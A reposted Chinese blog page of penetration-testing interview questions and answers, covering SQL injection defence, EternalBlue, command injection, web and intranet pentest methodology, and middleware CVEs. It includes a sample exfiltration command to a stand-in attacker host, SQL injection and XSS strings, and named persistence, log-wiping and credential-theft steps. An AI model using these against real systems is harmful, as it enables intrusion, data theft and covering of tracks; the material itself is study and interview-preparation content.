当前位置: 首页 > news >正文

2025年渗透测试面试题总结-54(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

1、SQL注入的防护方法有哪些?
2、永恒之蓝的漏洞原理是什么?怎么做到的?
3、命令注入有哪些?
4、给你一个目标网站,你该如何进行测试?
5、给你一个后台登陆地点的网站,你能从中发现那些问题?
6、给你一千台服务器和交换机,你会如何进行扫描?
7、内网渗透了解多少?
8、中间件有哪些?
9、中间件有哪些已知的漏洞?

1. SQL注入防护方法

核心原则:数据与代码分离

  • 参数化查询(Prepared Statements)
    使用占位符(如?@param)替代拼接SQL,数据库区分指令与数据(如Java的PreparedStatement、Python的cursor.execute() )。
  • 输入过滤与白名单校验
    对用户输入进行类型/长度约束(如仅允许邮箱格式),禁用高危字符(';--)。
  • 最小权限原则
    数据库账户仅赋予必要权限(禁用DROPFILE等)。
  • ORM框架使用
    Hibernate、Entity Framework等自动转义输入。
  • Web应用防火墙(WAF)
    部署ModSecurity等规则引擎拦截注入特征(如UNION SELECT)。
  • 错误信息屏蔽
    避免数据库报错信息直接返回前端。

2. 永恒之蓝(EternalBlue)漏洞原理

CVE编号:CVE-2017-0144
漏洞根源:SMBv1协议处理SMBv1 Trans2请求的缓冲区溢出漏洞。
攻击流程

  1. 畸形数据包触发溢出
    攻击者发送特制的SMB_COM_TRANSACTION2请求,覆盖内核内存。
  2. 内核权限执行Shellcode
    利用溢出覆盖函数指针,执行攻击者代码(如NSA开发的DoublePulsar后门)。
  3. 横向传播
    通过SMB协议在内网自动扩散(如WannaCry勒索病毒)。
    修复方案
    禁用SMBv1,安装MS17-010补丁,关闭445端口。

3. 命令注入类型与案例

分类方式

  • 直接命令注入
    用户输入直接拼接至系统命令(如os.system("ping " + user_input)),可通过;&|执行多条命令。
  • 间接注入(如环境变量污染)
    篡改PATHLD_PRELOAD劫持动态链接库。
  • 盲注(无回显)
    通过时间延迟(sleep 5)或DNS外带数据(curl attacker.com?data=$(whoami) )判断结果。
    高危函数
    PHP的system()/exec()、Python的os.popen() 、Node.js 的child_process.exec()

4. 目标网站渗透测试流程

分阶段方法论

阶段关键操作
信息收集WHOIS查询、子域名爆破(Amass)、端口扫描(Nmap)、框架指纹识别(Wappalyzer)
漏洞扫描自动化工具(Burp Suite、Nessus) + 手动验证(如修改参数、边界值测试)
漏洞利用SQL注入工具(sqlmap)、XSS载荷测试、文件上传绕过(Content-Type欺骗)
权限提升利用系统/服务漏洞提权(如Dirty Pipe)、数据库弱口令爆破
权限维持植入Webshell(蚁剑/冰蝎)、创建隐藏账户、SSH密钥后门
内网横向移动ARP欺骗、Pass-the-Hash攻击、域渗透(BloodHound分析)
痕迹清理删除日志(/var/log/)、隐藏进程(rootkit)

5. 后台登录点安全审计要点

  • 认证机制缺陷
    • 弱口令(admin/admin123)
    • 无验证码或验证码可绕过(OCR识别、重复使用)
    • 未限制登录尝试频率(爆破漏洞)
  • 传输与存储风险
    • HTTP明文传输密码(应强制HTTPS)
    • Cookie未设置HttpOnly(XSS窃取会话)
  • 逻辑漏洞
    • 响应差异暴露用户存在性(枚举用户名)
    • 密码重置功能缺陷(Token未绑定用户、可预测Token)
  • 注入漏洞
    • SQL注入(' OR 1=1 --
    • XSS注入(登录表单插入<script>alert(1)</script>

6. 千台服务器/交换机扫描策略

分布式架构设计

mermaigraph LR A[控制节点] --> B[任务队列 Kafka/RabbitMQ] B --> C[扫描节点1-N] C --> D[结果存储 ES]

关键技术点

  • IP分段与负载均衡
    使用nmap -sS -iL targets.txt -oA scan --max-rate 1000分批次扫描,避免流量洪峰。
  • 指纹识别优化
    并行化服务识别(-sV)与OS探测(-O)。
  • 交换机特殊处理
    SNMP扫描(snmpwalk)、ARP扫描(netdiscover),避开ICMP限制。
  • 结果聚合
    通过Elasticsearch + Kibana可视化漏洞分布。

7. 内网渗透核心技术

攻击链关键步骤

  1. 信息收集
    ARP扫描、NetBIOS枚举、域控制器定位(nltest /dclist)。
  2. 权限提升
    本地提权(CVE-2021-4034)、凭证窃取(Mimikatz抓取LSASS内存)。
  3. 横向移动
    • 协议利用:SMB爆破(CrackMapExec)、WinRM远程执行
    • 中间人攻击:LLMNR/NBT-NS投毒(Responder)
    • 域渗透:黄金票据伪造、DCSync攻击获取域控权限
  4. 数据窃取与持久化
    隐蔽隧道(DNS/ICMP)、GPO组策略后门。

8. 常见中间件列表

类型代表产品
Web服务器Apache、Nginx、IIS
应用服务器Tomcat、WebLogic、JBoss/WildFly
反向代理Traefik、HAProxy
消息队列RabbitMQ、Kafka、ActiveMQ
API网关Kong、Tyk

9. 中间件经典漏洞案例

中间件漏洞影响
ApacheCVE-2021-41773(路径遍历)读取服务器敏感文件
NginxCVE-2013-2028(栈溢出)远程代码执行(RCE)
TomcatCVE-2020-1938(Ghostcat)AJP协议文件读取/RCE
WebLogicCVE-2020-14882(未授权命令执行)控制服务器
JBossJMXInvokerServlet 反序列化远程代码执行

文章转载自:

http://iqEZOYWp.rjrLx.cn
http://6ZEezvz3.rjrLx.cn
http://YtAyM6mm.rjrLx.cn
http://OY3y3LJw.rjrLx.cn
http://d0fmFVLA.rjrLx.cn
http://df4tn4QN.rjrLx.cn
http://gWsPsFj3.rjrLx.cn
http://X3jsSyEj.rjrLx.cn
http://ENPV4iaY.rjrLx.cn
http://Ito99qOr.rjrLx.cn
http://vwWMIuTy.rjrLx.cn
http://gytoeIOX.rjrLx.cn
http://fb8GcjEY.rjrLx.cn
http://c53O70kn.rjrLx.cn
http://0iv1UkQ6.rjrLx.cn
http://IET6IGQo.rjrLx.cn
http://4E7ULhn1.rjrLx.cn
http://eKcmO9Tt.rjrLx.cn
http://oYuheJ1k.rjrLx.cn
http://Ua9LAEn4.rjrLx.cn
http://VO7NLdmU.rjrLx.cn
http://CFolxYPk.rjrLx.cn
http://nZzYq0t1.rjrLx.cn
http://GXCa9MF7.rjrLx.cn
http://yaHRSr8M.rjrLx.cn
http://lKJuunwb.rjrLx.cn
http://cWUbt5UY.rjrLx.cn
http://oiugMcvL.rjrLx.cn
http://mVpIwQJq.rjrLx.cn
http://biozlpPA.rjrLx.cn
http://www.dtcms.com/a/369842.html

相关文章:

  • 《Kubernetes 构建 MySQL MGR 集群实战教程》
  • 创建阿里云ECS实例操作(免费试用版)
  • 【数学建模】质量消光系数在烟幕遮蔽效能建模中的核心作用
  • 小孔成像原理
  • 操作系统基本概念.1
  • Jupyter Notebook与cpolar:构建跨地域数据科学协作平台
  • 山西移动九联UNT413HS-海思MV320-2+8G-原机全量备份包
  • AI热点周报(8.31~9.6): Qwen3‑Max‑Preview上线、GLM-4.5提供一键迁移、Gemini for Home,AI风向何在?
  • 【C++】C++11的可变参数模板、emplace接口、类的新功能
  • [特殊字符] 从零到一:打造你的VSCode圈复杂度分析插件
  • JVM如何排查OOM
  • Miniconda安装与VSCode搭建远程Python、Jupyter开发环境
  • 智能客户服务支持智能体
  • Gutenberg块编辑器:WordPress 2025高效内容开发指南
  • JUC、JVM八股补充
  • windows找不到gpedit.msc(本地组策略编辑器)
  • 【洛谷】队列相关经典算法题详解:模板队列、机器翻译、海港
  • 激光频率梳 3D 轮廓测量 - 油路板的凹槽深度和平面度测量
  • 24.线程概念和控制(一)
  • Altium Designer(AD24)切换工作界面为浅灰色的方法
  • 让字符串变成回文串的最少插入次数-二维dp
  • 零基础入门深度学习:从理论到实战,GitHub+开源资源全指南(2025最新版)
  • 从文本到知识:使用LLM图转换器构建知识图谱的详细指南
  • 【开题答辩全过程】以 停车场管理系统的设计与实现为例,包含答辩的问题和答案
  • 带fat32文件系统的bin二进制文件制作教程
  • 【Redis】缓存的穿透、击穿和雪崩
  • C++经典的数据结构与算法之经典算法思想:分治法(Divide and Conquer)
  • PDF教程|如何把想要的网页保存下来?
  • DevOps实战(2) - 使用Arbess+GitPuk+Docker实现Java项目自动化部署
  • Git reset 回退版本